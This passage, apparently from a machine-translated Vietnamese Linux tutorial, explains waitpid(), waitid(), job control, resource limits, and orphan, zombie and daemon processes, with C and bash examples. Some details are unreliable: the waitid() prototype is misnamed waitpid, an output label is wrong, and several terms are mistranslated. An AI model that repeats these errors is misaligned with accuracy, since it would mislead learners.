3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Mặc dù con trả về trạng thái thoát là 3, tại sao tiến trình cha lại coi đó là 768. Trạng thái được lưu trữ trong byte bậc cao hơn, vì vậy nó được lưu trữ ở định dạng thập lục phân là 0X0300, là 768 ở dạng thập phân. Kết thúc bình thường như sau
Byte thứ tự cao hơn (Bit 8 đến 15) | Byte thứ tự thấp hơn (Bit 0 đến 7) |
Trạng thái thoát (0 đến 255) | 0 |
Lời gọi hệ thống wait () có hạn chế là nó chỉ có thể đợi cho đến khi thoát ra khỏi phần tử con tiếp theo. Nếu chúng ta cần đợi một đứa trẻ cụ thể thì không thể sử dụng wait (), tuy nhiên, có thể sử dụng lệnh gọi hệ thống waitpid ().
Lệnh gọi hệ thống waitpid () sẽ đợi các phần tử con được chỉ định kết thúc và trả về trạng thái kết thúc của nó trong bộ đệm như được giải thích bên dưới.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
Cuộc gọi trên trả về ID tiến trình của con bị kết thúc khi thành công và -1 khi thất bại. Lệnh gọi hệ thống waitpid () tạm dừng việc thực hiện tiến trình hiện tại và đợi vô thời hạn cho đến khi các phần tử con được chỉ định (theo giá trị pid) kết thúc. Trạng thái chấm dứt từ đứa trẻ có sẵn trong trạng thái.
Giá trị của pid có thể là một trong hai giá trị sau:
< -1 - Chờ bất kỳ tiến trình con nào có ID nhóm tiến trình bằng giá trị tuyệt đối của pid.
-1 - Chờ bất kỳ tiến trình con nào, tương đương với lệnh gọi hệ thống wait ().
0 - Chờ bất kỳ tiến trình con nào có ID nhóm tiến trình bằng với ID của tiến trình đang gọi.
>0 - Chờ bất kỳ tiến trình con nào có ID tiến trình bằng giá trị của pid.
Theo mặc định, lệnh gọi hệ thống waitpid () chỉ đợi các phần tử con bị kết thúc nhưng hành vi mặc định này có thể được sửa đổi bằng cách sử dụng đối số tùy chọn.
Bây giờ chúng ta hãy xem xét một chương trình như một ví dụ, chờ đợi một quy trình cụ thể với id quy trình của nó.
/ * Tên tệp: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Sau khi biên dịch và thực thi, sau đây là kết quả.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Bây giờ, chúng ta hãy kiểm tra lệnh gọi hệ thống Waitid (). Lệnh gọi hệ thống này chờ tiến trình con thay đổi trạng thái.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
Lệnh gọi hệ thống ở trên đợi tiến trình con thay đổi trạng thái và lệnh gọi này sẽ tạm dừng tiến trình hiện tại / đang gọi cho đến khi bất kỳ tiến trình con nào của nó thay đổi trạng thái. Đối số 'infop' là ghi lại trạng thái hiện tại của đứa trẻ. Cuộc gọi này trở lại ngay lập tức, nếu quá trình đã thay đổi trạng thái của nó.
Giá trị của idtype có thể là một trong hai giá trị sau:
P_PID - Chờ bất kỳ tiến trình con nào có ID tiến trình bằng với id.
P_PGID - Chờ bất kỳ tiến trình con nào có ID nhóm tiến trình bằng với id.
P_ALL - Chờ bất kỳ tiến trình con nào và id bị bỏ qua.
Đối số tùy chọn là chỉ định trạng thái nào thay đổi và điều này có thể được hình thành bằng phép toán OR bitwise với các cờ được đề cập bên dưới:
WCONTINUED - Trả về trạng thái của bất kỳ trẻ nào đã bị dừng và đã được tiếp tục.
WEXITED - Chờ quá trình thoát.
WNOHANG - Trả hàng ngay lập tức.
WSTOPPED - Chờ quá trình của bất kỳ con nào đã dừng lại, khi nhận được tín hiệu và trả về trạng thái.
Cuộc gọi này trả về 0, nếu nó trả về do sự thay đổi trạng thái của một trong các con của nó và WNOHANG được sử dụng. Nó trả về –1, trong trường hợp có lỗi và đặt số lỗi thích hợp.
/ * Tên tệp: Waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Sau khi thực hiện và biên dịch chương trình trên, sau đây là kết quả.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
Trong chương này, chúng ta sẽ làm quen với Nhóm quy trình, Phiên và Kiểm soát công việc.
Process Group- Nhóm quá trình là tập hợp của một hoặc nhiều quá trình. Nhóm quy trình bao gồm một hoặc nhiều quy trình chia sẻ cùng một định danh nhóm quy trình (PGID). ID nhóm quy trình (PGID) cùng loại (pid_t) với ID quy trình. Nhóm quy trình có một trưởng nhóm quy trình, là quy trình tạo ra nhóm và ID quy trình của nó trở thành ID quy trình của nhóm.
Sessions - Nó là một tập hợp của nhiều nhóm quy trình khác nhau.
Job Control- Điều này cho phép người dùng trình bao thực hiện đồng thời nhiều lệnh (hoặc công việc), một lệnh ở nền trước và tất cả các lệnh còn lại ở chế độ nền. Cũng có thể di chuyển các công việc từ nền trước sang nền sau và ngược lại.
Hãy để chúng tôi hiểu điều này với sự trợ giúp của / các chương trình ví dụ sử dụng shell (BASH).
Tập lệnh shell (trong BASH) để thực hiện các lệnh cơ bản (ngày, tiếng vang, giấc ngủ và cal) có tên basic_commands.sh
Tập lệnh Shell (trong BASH) để thực hiện các lệnh cơ bản (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Sử dụng lệnh chmod để cấp cho tệp quyền thực thi. Theo mặc định, tệp bình thường sẽ chỉ nhận được quyền đọc và ghi chứ không thực thi quyền.
Để dừng quá trình đang chạy hiện tại, bạn cần nhập CTRL + Z. Điều này cung cấp cho bạn một số công việc. Công việc có thể được tiếp tục ở phía trước hoặc phía sau. Nếu cần, để tiếp tục công việc ở nền trước, hãy sử dụng lệnh 'fg'. Nếu cần, để tiếp tục công việc trong nền, hãy sử dụng lệnh 'bg'. Bằng cách sử dụng này, nó sẽ chỉ chạy quá trình dừng cuối cùng. Điều gì sẽ xảy ra nếu bạn muốn bắt đầu khác với quá trình đã dừng cuối cùng? Chỉ cần sử dụng số công việc sau fg hoặc bg (giả sử bg% 2 hoặc bg% 3, v.v.). Nếu công việc đang chạy ở chế độ nền, bạn có thể chạy bất kỳ tác vụ nào khác trong nền trước. Để lấy danh sách các công việc, hãy sử dụng lệnh, các công việc. Cũng có thể kết thúc quá trình bằng CTRL + C hoặc lệnh kill. Bạn có thể chuyển số công việc trong khi sử dụng lệnh giết.
Kiểm tra kết quả đầu ra sau đây thể hiện việc dừng công việc, chuyển công việc từ nền trước sang nền sau và ngược lại, kết thúc công việc, v.v.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
Quá trình cần một số tài nguyên nhất định như CPU và bộ nhớ để thực hiện các tác vụ. Bây giờ chúng ta sẽ xem xét các lệnh liên quan và lệnh gọi hệ thống để biết thông tin về việc sử dụng và giám sát tài nguyên. Ngoài ra, có một số giới hạn nhất định theo mặc định cho mỗi quy trình trên tài nguyên và nếu được yêu cầu, các giới hạn có thể được nâng cao để đáp ứng các yêu cầu ứng dụng.
Sau đây là hệ thống thiết yếu hoặc xử lý thông tin tài nguyên bằng cách sử dụng các lệnh:
Lệnh hàng đầu
$ top
Lệnh trên cùng liên tục hiển thị việc sử dụng tài nguyên hệ thống. Nếu bất kỳ quy trình nào đặt hệ thống ở một số loại trạng thái treo (tiêu tốn nhiều CPU hoặc Bộ nhớ hơn), thì có thể ghi lại thông tin quy trình và thực hiện hành động thích hợp (chẳng hạn như hủy quy trình liên quan).
Lệnh ps
$ ps
Lệnh ps cung cấp thông tin về tất cả các tiến trình đang chạy. Điều này giúp giám sát và kiểm soát các quá trình.
Lệnh vmstat
$ vmstat
Lệnh vmstat báo cáo thống kê của hệ thống con bộ nhớ ảo. Nó báo cáo thông tin về các quá trình (đang chờ chạy, đang ngủ, các quá trình có thể chạy được, v.v.), bộ nhớ (thông tin bộ nhớ ảo như trống, đã sử dụng, v.v.), vùng hoán đổi, thiết bị IO, thông tin hệ thống (số lần ngắt, chuyển mạch ngữ cảnh ) và CPU (người dùng, hệ thống và thời gian nhàn rỗi).
Lệnh lsof
$ lsof
Lệnh lsof in danh sách các tệp đang mở của tất cả các quy trình đang chạy hiện tại, bao gồm cả các quy trình hệ thống.
Lệnh getconf
$ getconf –a
Lệnh getconf hiển thị thông tin về các biến cấu hình hệ thống.
Bây giờ, chúng ta hãy xem xét các lệnh gọi hệ thống liên quan.
Lệnh gọi hệ thống getrusage (), cung cấp thông tin về việc sử dụng tài nguyên hệ thống.
Các lệnh gọi hệ thống liên quan đến việc truy cập và đặt giới hạn tài nguyên viz., Getrlimit (), setrlimit (), prlimit ().
Cuộc gọi sử dụng tài nguyên hệ thống
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
Lệnh gọi hệ thống getrusage () trả về thông tin về việc sử dụng tài nguyên hệ thống. Điều này có thể bao gồm thông tin về bản thân, con cái hoặc chuỗi cuộc gọi sử dụng cờ RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD cho biến "ai". Sau cuộc gọi, nó trả về thông tin trong cấu trúc rusage.
Lệnh gọi này sẽ trả về "0" khi thành công và "-1" khi thất bại.
Hãy cùng chúng tôi xem xét chương trình mẫu sau đây.
/ * Tên tệp: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Các bước biên dịch và thực hiện
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Bây giờ chúng ta hãy xem xét các lệnh gọi hệ thống liên quan đến việc truy cập và đặt giới hạn tài nguyên.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
Cuộc gọi hệ thống getrlimit() nhận giới hạn tài nguyên trong rlimit cấu trúc bằng cách nhập tài nguyên mà người ta cần như RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, v.v.
Cuộc gọi hệ thống setrlimit() thiết lập các giới hạn tài nguyên như đã đề cập trong cấu trúc rlimit trong phạm vi giới hạn.
Cuộc gọi hệ thống prlimit() được sử dụng cho các mục đích khác nhau, chẳng hạn như để truy xuất các giới hạn tài nguyên hiện tại hoặc để cập nhật các giới hạn tài nguyên thành các giá trị mới.
Cấu trúc rlimit chứa hai giá trị:
Soft limit - Giới hạn hiện tại
Hard limit - Giới hạn tối đa mà nó có thể được mở rộng.
RLIMIT_NOFILE
RLIMIT_NPROC - Số lượng quy trình tối đa có thể được tạo cho người dùng quy trình đó.
RLIMIT_STACK - Kích thước tối đa tính bằng byte của phân đoạn ngăn xếp cho quá trình đó.
Tất cả các lệnh gọi này sẽ trả về "0" khi thành công và "-1" khi thất bại.
Chúng ta hãy xem xét ví dụ sau, nơi chúng ta đang sử dụng lệnh gọi hệ thống getrlimit ().
/ * Tên tệp: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Các bước biên dịch và thực hiện
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Chúng ta hãy xem xét một ví dụ khác với lệnh gọi hệ thống getrlimit () nhưng bây giờ với lệnh gọi hệ thống prlimit ().
/ * Tên tệp: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Các bước biên dịch và thực hiện
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Cho đến nay, chúng ta đã thảo luận về các quy trình, quá trình tạo ra nó, quy trình mẹ và con, v.v. Cuộc thảo luận sẽ không đầy đủ nếu không thảo luận về các quy trình liên quan khác, chẳng hạn như quy trình Orphan, quy trình Zombie và quy trình Daemon.
Quá trình mồ côi
Như được chỉ ra bởi tên, mồ côi ngụ ý quá trình không cha mẹ. Khi chúng tôi chạy một chương trình hoặc ứng dụng, quy trình cha của ứng dụng là shell. Khi chúng ta tạo một tiến trình bằng fork (), tiến trình mới tạo là tiến trình con và tiến trình tạo ra con là tiến trình mẹ. Đổi lại, tiến trình cha của quá trình này là shell. Tất nhiên, cha của tất cả các quy trình là quy trình init (ID quy trình → 1).
Trên đây là một kịch bản thông thường, tuy nhiên, điều gì sẽ xảy ra nếu process cha thoát ra trước process con. Kết quả là, tiến trình con bây giờ trở thành tiến trình mồ côi. Vậy còn cha mẹ của nó thì sao, cha mẹ mới của nó là cha của tất cả các tiến trình, không là gì khác ngoài tiến trình init (Process ID - 1).
Hãy để chúng tôi thử và hiểu điều này bằng cách sử dụng ví dụ sau.
/ * Tên tệp: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Các bước biên dịch và thực hiện
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Quá trình xác sống
Nói một cách dễ hiểu, giả sử rằng bạn có hai quy trình, đó là quy trình cha và quy trình con. Quy trình mẹ có trách nhiệm đợi quy trình con và sau đó xóa mục nhập quy trình con khỏi bảng quy trình. Điều gì sẽ xảy ra nếu process cha không sẵn sàng chờ process con, và trong khi đó process con hoàn thành công việc và thoát ra? Bây giờ, tiến trình con sẽ trở thành tiến trình thây ma. Tất nhiên, tiến trình zombie được dọn dẹp sau khi tiến trình mẹ sẵn sàng.
Hãy để chúng tôi hiểu điều này với sự trợ giúp của một ví dụ.
/ * Tên tệp: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Các bước biên dịch và thực hiện
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Quy trình Daemon
Nói một cách dễ hiểu, tiến trình không có bất kỳ trình bao hoặc thiết bị đầu cuối liên quan nào được gọi là quy trình daemon. Tại sao điều này là cần thiết? Đây là các quy trình chạy trong nền để thực hiện các hành động theo các khoảng thời gian được xác định trước và cũng phản hồi các sự kiện nhất định. Quá trình daemon không được có bất kỳ tương tác nào của người dùng, vì nó chạy như một quá trình nền.
Các quy trình nền Linux nội bộ thường kết thúc bằng chữ “d” chẳng hạn như Kernel Daemons (ksoftirqd, kblockd, kswapd, v.v.), Daemons in (cupd, lpd, v.v.), Daemons dịch vụ tệp (smbd, nmbd, v.v.) , Daemon cơ sở dữ liệu quản trị (ypbind, ypserv, v.v.), Daemon thư điện tử (sendmail, popd, smtpd, v.v.), Daemons đăng nhập từ xa và thực thi lệnh (sshd, in.telnetd, v.v.), Daemon khởi động và cấu hình (dhcpd , udevd, v.v.), init process (init), cron daemon, atd daemon, v.v.
Bây giờ chúng ta hãy xem cách tạo một quy trình daemon. Sau đây là các bước -
Step 1- Tạo quy trình con. Bây giờ chúng ta có hai quy trình - quy trình mẹ và quy trình con
Thông thường, thứ bậc quy trình là VỎ → QUÁ TRÌNH PHỤ HUYNH → QUÁ TRÌNH CON
Step 2- Chấm dứt tiến trình cha bằng cách thoát. Tiến trình con bây giờ trở thành tiến trình mồ côi và được tiếp quản bởi tiến trình init.
Bây giờ, hệ thống phân cấp là QUY TRÌNH INIT → QUÁ TRÌNH TRẺ EM
Step 3- Việc gọi lệnh gọi hệ thống setsid () tạo ra một phiên mới, nếu quá trình gọi không phải là nhóm trưởng quá trình. Bây giờ quá trình gọi trở thành nhóm trưởng của phiên mới. Quy trình này sẽ là quy trình duy nhất trong nhóm quy trình mới này và trong phiên mới này.
Step 4 - Đặt ID nhóm quy trình và ID phiên thành PID của quy trình gọi.
Step 5 - Đóng các bộ mô tả tệp mặc định (đầu vào tiêu chuẩn, đầu ra tiêu chuẩn và lỗi tiêu chuẩn) của quá trình vì thiết bị đầu cuối và trình bao giờ đã bị ngắt kết nối khỏi ứng dụng.
/ * Tên tệp: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Giả sử rằng chúng ta đang chạy một chương trình và chúng ta muốn chạy một chương trình khác từ chương trình hiện tại. Điều này có khả thi không? Tại sao không, nếu chúng ta triển khai khái niệm chồng hình ảnh quá trình. Điều đó tốt nhưng những gì về chương trình đang chạy hiện tại, có thể chạy được luôn. Làm thế nào nó có thể, vì chúng tôi đã chồng chương trình hiện tại với chương trình mới. Muốn chạy hai chương trình mà không bị mất chương trình đang chạy thì phải làm sao? Có, nó là có thể.
Tạo một quy trình con, để chúng ta có một quy trình mẹ và một quy trình con mới được tạo. Chúng tôi đang chạy chương trình hiện tại trong quy trình mẹ, vì vậy hãy chạy quy trình mới được tạo trong quy trình con. Bằng cách này, chúng ta có thể chạy một chương trình khác từ chương trình hiện tại. Không chỉ một chương trình đơn lẻ mà chúng ta có thể chạy bất kỳ số lượng chương trình nào từ chương trình hiện tại bằng cách tạo ra nhiều quá trình con đó.
Chúng ta hãy xem xét chương trình sau đây như một ví dụ.
/ * Tên tệp: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Tên tệp: executel_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
